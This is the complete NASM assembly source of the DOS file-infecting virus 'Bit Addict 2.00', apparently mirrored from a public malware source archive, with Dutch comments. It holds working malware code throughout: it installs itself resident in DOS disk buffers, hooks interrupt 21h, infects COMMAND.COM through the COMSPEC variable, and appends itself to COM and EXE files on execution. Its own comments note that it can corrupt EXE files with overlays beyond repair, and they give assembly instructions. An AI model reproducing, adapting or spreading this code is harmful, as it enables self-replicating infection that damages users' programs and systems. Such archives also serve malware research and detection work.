mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-30 19:02:32 +00:00
530 lines
11 KiB
NASM
530 lines
11 KiB
NASM
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; BIT ADDICT Versie 2.00
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;
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; Dit virus besmet exe en com-files, en als het opgestart wordt dan reserveert
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; hij 2 diskbuffers en copieert het virus daarheen om resident te blijven.
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; Als het virus resident is dan gaat hij in de environment naar de comspec
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; zoeken en besment dan de command interpreter (meestal COMMAND.COM).
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; Om dit virus te assambleren moet je met TASM, of MASM een OBJ-file maken en
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; dan linken naar een exe-file. Wees voorzichtig en veel plezier met dit virus.
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; p.s. wil je dit virus nog aan NIEMAND geven zonder mijn toestemming, omdat
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; het virus nog niet helemaal af is, en waarschijnlijk ook niet helemaal zonder
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; fouten.
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;-----------------------------------------------------------------------------
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;----- -----
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;----- Macros en andere hulpmiddellen -----
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;----- -----
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;-----------------------------------------------------------------------------
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; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
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; wordt dan 128 bytes en er dus een foutmelding komt
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jmpc macro Dest ; vervanging voor jc
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local @@00
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jnc @@00
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jmp Dest
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@@00:
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endm
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jmpnc macro Dest ; vervanging voor jnc
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local @@00
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jc @@00
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jmp Dest
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@@00:
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endm
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jmpe macro Dest ; vervanging voor je
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local @@00
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jnz @@00
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jmp Dest
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@@00:
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endm
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jmpne macro Dest ; vervanging voor jne
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local @@00
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jz @@00
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jmp Dest
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@@00:
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endm
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eseg segment
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mov ax,4c00h ; exit
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int 21h
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eseg ends
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;-----------------------------------------------------------------------------
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;----- -----
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;----- Begin van het Bit Addict virus -----
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;----- -----
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;-----------------------------------------------------------------------------
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cseg segment
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assume cs:cseg,ds:cseg,es:cseg
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org 0
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BeginCode equ $
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SavedCode equ this byte ; gegevens over het
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OldSignature dw 5a4dh ; programma voor het virus
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OldCSIP equ this dword
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OldIP dw 0
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OldCS dw 0
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OldSP dw 200h
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OldSS dw 0
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dw 3 dup(0)
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Comspec db 'COMSPEC=' ; comspec environment variabele
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; om de command.com te vinden
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ID db 'BIT ADDICT 2.00' ; identificatie string
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ID_Length equ $-offset ID
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Begin: push ax ; Programma om het virus
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push bx ; in het geheugen te zetten
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push cx
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push dx
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push si
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push di
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push ds
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push es
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push cs
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pop ds
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cmp OldSignature,5a4dh
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je @@10
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mov si,offset SavedCode ; herstel begin van het
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mov di,100h ; com-programma
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mov cx,10h
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cld
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rep movsb
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mov OldSS,ss ; bewaar de waarden van
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mov OldSP,sp ; ss,sp,cs en ip
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sub OldSP,10h
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mov OldCS,es
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mov OldIP,100h
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jmp @@11
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@@10: mov ax,es ; bereken de waarden van
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add ax,10h ; ss,sp,cs en ip
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add OldCS,ax
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add OldSS,ax
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@@11: mov ax,4b40h ; controleer of Bit Addict al
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int 21h ; in het geheugen aanwezig is
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jc @@12
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mov ds,ax
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push cs ; vergelijk identificatie
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pop ds
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mov si,offset ID
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mov di,si
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mov cx,ID_Length
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cld
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repe cmpsb
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jmpne @@13
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@@12: mov ah,52h ; lees het adres van de eerste
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int 21h ; disk-buffer
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push bx
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mov ah,30h
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int 21h
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pop di
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cmp al,2 ; dit werkt niet op dos 1.x
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jmpc @@13
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cmp al,3 ; voor dos 2.x op 13h en voor
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adc di,12h ; dos 3+ op 12h
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lds si,es:[di]
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or si,si
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jne @@13
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push di
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movsw ; reserveer 1e buffer
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movsw
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pop di
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mov cx,ds
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mov dx,ds
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call GetBuffer ; reserveer 2e buffer
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jc @@13
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call CopyBitAddict ; Copieer bit addict naar
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pop es ; de buffers
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push es ; Infecteer bestand in de
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call InfectComspec ; comspec
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jmp @@14
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@@13: call RestoreBuffers
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@@14: pop es ; ga nu verder met het
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pop ds ; programma voor Bit Addict
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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cli
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mov ss,cs:OldSS
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mov sp,cs:OldSP
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sti
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jmp cs:OldCSIP
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GetBuffer: ; reserveer een buffer
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push di ; cx = eerste buffer
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push es ; dx = laatste buffer
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jmp @@21
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@@20: push ds
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pop es
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mov di,si
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@@21: lds si,es:[di]
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or si,si
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jne @@23
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mov ax,ds
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sub ax,dx
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cmp ax,21h
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jne @@22
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mov dx,ds
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movsw
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movsw
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clc
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jmp @@24
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@@22: mov ax,ds
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sub ax,cx
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neg ax
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cmp ax,21h
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jne @@20
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mov cx,ds
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movsw
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movsw
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clc
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jmp @@24
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@@23: stc
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@@24: pop es
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pop di
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ret
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CopyBitAddict:
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push cs ; copieer Bit Addict naar de
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pop ds ; gereserveerde buffers
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mov es,cx
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xor si,si
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xor di,di
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mov cx,CodeSize1
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cld
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rep movsb
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mov ds,ax ; leid interrupt 21h om naar
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mov ax,ds:[84h] ; Bit Addict
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mov word ptr es:OldInt21[0],ax
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mov ax,ds:[86h]
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mov word ptr es:OldInt21[2],ax
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mov word ptr ds:[84h],offset NewInt21
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mov word ptr ds:[86h],es
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ret
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InfectComspec:
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mov es,es:[2ch] ; lees environment segment
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xor di,di
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push cs ; zoek naar de comspec
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pop ds ; variabele
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mov si,offset Comspec
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@@30: push si
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push di
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mov cx,8
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cld
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repe cmpsb
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pop di
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pop si
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je @@31
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xor al,al
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mov cx,-1
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cld
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repne scasb
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cmp byte ptr es:[di],0
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jne @@30
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jmp @@32
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@@31: push es ; infecteer de COMMAND.COM of
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pop ds ; andere command interpreter
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lea dx,[di+8]
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push cs:OldIP
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push cs:OldCS
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push cs:OldSP
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push cs:OldSS
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call Infect
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pop cs:OldSS
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pop cs:OldSP
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pop cs:OldCS
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pop cs:OldIP
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@@32: ret
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RestoreBuffers:
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mov ax,cx
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@@40: cmp ax,dx
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je @@42
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mov ds,ax
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add ax,21h
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mov word ptr ds:[0],0
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mov word ptr ds:[2],ax
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jmp @@40
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@@42: mov ds,dx
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mov ax,es:[di]
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mov ds:[0],ax
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mov word ptr es:[di],0
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mov ax,es:[di+2]
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mov ds:[2],ax
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mov es:[di+2],cx
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ret
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NewInt21: ; Het nieuwe interrupt 21h
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pushf
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cmp ax,4b40h
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je InstallCheck
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cmp ah,4bh
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je Exec
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EOI: popf
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jmp cs:OldInt21
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InstallCheck: ; Zo kan bit addict weten
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mov ax,cs ; dat er al een andere copy
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popf ; aanwezig is
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clc
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retf 2
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ComHeader: ; dit stukje wordt voor een
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mov ax,cs ; COM-file geplaatst
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add ax,0100h
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OldSize equ this word-2
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push ax
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mov ax,offset Begin
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push ax
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retf
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Exec: call Infect ; functie 4bh, infecteer eerste
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jmp EOI ; met Bit Addict
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Infect: push ax ; Infecteer een file
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push bx
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push cx
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push si
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push di
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push bp
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push es
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mov ax,4300h ; lees attributen en bewaar
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int 21h ; ze
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jmpc @@62
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push cx
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push dx
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push ds
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test cx,1
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jz @@51
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mov ax,4301h ; set Read-Only attribuut
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and cx,0fffeh ; op nul
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int 21h
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jmpc @@61
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@@51: mov ax,3d02h ; open de file
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int 21h
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jmpc @@61
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mov bx,ax
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mov ax,5700h ; lees de datum en tijd en
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int 21h ; bewaar ze
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jmpc @@60
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push cx
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push dx
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push cs ; ds=es=cs
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pop ds
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push cs
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pop es
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mov ah,3fh ; lees de header van de file
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mov cx,HeaderLength
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lea dx,Header
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int 21h
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jmpc @@59
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cmp ax,HeaderLength
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jne @@54
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cmp Signature,5a4dh
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jne @@52
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mov ax,ExeCS ; zoek de plaats waar de
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add ax,HeaderSize ; identificatie zou moeten
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mov dx,10h ; staan voor exe-files
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mul dx
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add ax,offset ID
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adc dx,0
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jmp @@53
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@@52: mov ax,ComCS ; doe hetzelfde maar dan voor
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mov dx,10h ; een com-file
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sub ax,dx
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mul dx
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add ax,offset ID
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adc dx,0
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@@53: mov cx,dx
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mov dx,ax
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mov ax,4200h
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int 21h
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mov ah,3fh ; lees de ID indien aanwezig
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mov cx,ID_Length
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lea dx,ID_Check
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int 21h
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lea si,ID_Check ; controleer of ID aanwezig
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lea di,ID ; is
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mov cx,ID_Length
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cld
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repe cmpsb
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jmpe @@59 ; als ID aanwezig is, stop dan
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cmp Signature,5a4dh
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je @@56
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@@54: mov ax,4202h ; infecteer com-files
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xor cx,cx ; ga naar het einde van de file
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xor dx,dx
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int 21h
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mov cx,10h ; aanpassen van de com-header
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div cx ; aan deze com-file
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or dx,dx
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je @@55
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push ax
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mov ah,40h
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mov cx,10h
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sub cx,dx
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xor dx,dx
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int 21h
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pop ax
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jmpc @@59
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inc ax
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@@55: add ax,10h
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mov OldSize,ax
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mov si,offset Header ; bewaar het eerste deel van
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mov di,offset SavedCode ; het programma
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mov cx,10h
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cld
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rep movsb
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mov ah,40h ; schrijf het virus achter het
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|
mov cx,CodeSize1 ; programma
|
|||
|
|
xor dx,dx
|
|||
|
|
int 21h
|
|||
|
|
jmpc @@59
|
|||
|
|
mov ax,4200h ; ga naar het begin van de file
|
|||
|
|
xor cx,cx
|
|||
|
|
xor dx,dx
|
|||
|
|
int 21h
|
|||
|
|
jmpc @@59
|
|||
|
|
mov ah,40h ; overschrijf het begin van het
|
|||
|
|
mov cx,10h ; programma met de com-header
|
|||
|
|
mov dx,offset ComHeader
|
|||
|
|
int 21h
|
|||
|
|
jmp @@59
|
|||
|
|
@@56: mov OldSignature,5a4dh ; infecteer exe-files
|
|||
|
|
mov ax,ExeIP ; bewaar de oude waarden van
|
|||
|
|
mov OldIP,ax ; cs:ip en ss:sp
|
|||
|
|
mov ax,ExeCS
|
|||
|
|
mov OldCS,ax
|
|||
|
|
mov ax,ExeSP
|
|||
|
|
mov OldSP,ax
|
|||
|
|
mov ax,ExeSS
|
|||
|
|
mov OldSS,ax
|
|||
|
|
mov ax,PageCount ; pas de waarden van cs:ip en
|
|||
|
|
dec ax ; ss:sp aan, en pas ook de
|
|||
|
|
mov cx,200h ; lengte van de file aan
|
|||
|
|
mul cx
|
|||
|
|
add ax,PartPage
|
|||
|
|
adc dx,0
|
|||
|
|
mov cx,dx
|
|||
|
|
mov dx,ax
|
|||
|
|
mov ax,4200h
|
|||
|
|
int 21h
|
|||
|
|
mov cx,10h
|
|||
|
|
div cx
|
|||
|
|
or dx,dx
|
|||
|
|
je @@57
|
|||
|
|
push ax
|
|||
|
|
push dx
|
|||
|
|
mov ah,40h
|
|||
|
|
mov cx,10h
|
|||
|
|
sub cx,dx
|
|||
|
|
xor dx,dx
|
|||
|
|
int 21h
|
|||
|
|
pop dx
|
|||
|
|
pop ax
|
|||
|
|
jc @@59
|
|||
|
|
inc ax
|
|||
|
|
@@57: sub ax,HeaderSize
|
|||
|
|
mov ExeCS,ax
|
|||
|
|
mov ExeIP,offset Begin
|
|||
|
|
add ax,CodeSizePara2
|
|||
|
|
mov ExeSS,ax
|
|||
|
|
mov ExeSP,200h
|
|||
|
|
mov ax,MinMem
|
|||
|
|
cmp ax,20h+CodeSizePara2-CodeSizePara1
|
|||
|
|
jae @@58
|
|||
|
|
mov ax,20h
|
|||
|
|
@@58: mov MinMem,ax
|
|||
|
|
mov ax,PartPage
|
|||
|
|
add ax,CodeSize1
|
|||
|
|
add ax,dx
|
|||
|
|
mov cx,200h
|
|||
|
|
xor dx,dx
|
|||
|
|
div cx
|
|||
|
|
add PageCount,ax
|
|||
|
|
mov PartPage,dx
|
|||
|
|
mov ah,40h ; schrijf het virus achter
|
|||
|
|
mov cx,CodeSize1 ; de exe-file, indien de
|
|||
|
|
xor dx,dx ; exe-file overlays bevat dan
|
|||
|
|
int 21h ; worden ze overschreven en is
|
|||
|
|
jc @@59 ; de exe-file onherstelbaar
|
|||
|
|
mov ax,4200h ; beschadigd
|
|||
|
|
xor cx,cx
|
|||
|
|
xor dx,dx ; ga naar het begin van de file
|
|||
|
|
int 21h
|
|||
|
|
jc @@59
|
|||
|
|
mov ah,40h ; schrijf de nieuwe exe-header
|
|||
|
|
mov cx,HeaderLength ; over de oude heen.
|
|||
|
|
mov dx,offset Header
|
|||
|
|
int 21h
|
|||
|
|
@@59: pop dx ; herstel de datum van de file
|
|||
|
|
pop cx
|
|||
|
|
mov ax,5701h
|
|||
|
|
int 21h
|
|||
|
|
@@60: mov ah,3eh ; sluit de file
|
|||
|
|
int 21h
|
|||
|
|
@@61: pop ds ; herstel de attributen van de
|
|||
|
|
pop dx ; file
|
|||
|
|
pop cx
|
|||
|
|
test cx,1
|
|||
|
|
jz @@62
|
|||
|
|
mov ax,4301h
|
|||
|
|
int 21h
|
|||
|
|
@@62: pop es ; herstel de waarden van de
|
|||
|
|
pop bp ; registers en keer terug
|
|||
|
|
pop di ; naar het oude interrupt 21
|
|||
|
|
pop si
|
|||
|
|
pop cx
|
|||
|
|
pop bx
|
|||
|
|
pop ax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
CodeSize1 equ $-BeginCode
|
|||
|
|
CodeSizePara1 equ ($-BeginCode+0fh) / 10h
|
|||
|
|
|
|||
|
|
Header dw 14h dup(?)
|
|||
|
|
ComCS equ Header[ComHeader-OldSize] ; Com file
|
|||
|
|
|
|||
|
|
Signature equ Header[0h] ; Exe file
|
|||
|
|
PartPage equ Header[2h]
|
|||
|
|
PageCount equ Header[4h]
|
|||
|
|
ReloCount equ Header[6h]
|
|||
|
|
HeaderSize equ Header[8h]
|
|||
|
|
MinMem equ Header[0ah]
|
|||
|
|
MaxMem equ Header[0ch]
|
|||
|
|
ExeSS equ Header[0eh]
|
|||
|
|
ExeSP equ Header[10h]
|
|||
|
|
ChkSum equ Header[12h]
|
|||
|
|
ExeIP equ Header[14h]
|
|||
|
|
ExeCS equ Header[16h]
|
|||
|
|
TablOfs equ Header[18h]
|
|||
|
|
OverlayNr equ Header[1ah]
|
|||
|
|
HeaderLength equ 1ch
|
|||
|
|
|
|||
|
|
ID_Check db ID_Length dup(?)
|
|||
|
|
|
|||
|
|
OldInt21 dd ?
|
|||
|
|
|
|||
|
|
CodeSize2 equ $-BeginCode
|
|||
|
|
CodeSizePara2 equ ($-BeginCode+0fh) / 10h
|
|||
|
|
|
|||
|
|
cseg ends
|
|||
|
|
|
|||
|
|
sseg segment stack
|
|||
|
|
db 200h dup(?)
|
|||
|
|
sseg ends
|
|||
|
|
|
|||
|
|
end Begin
|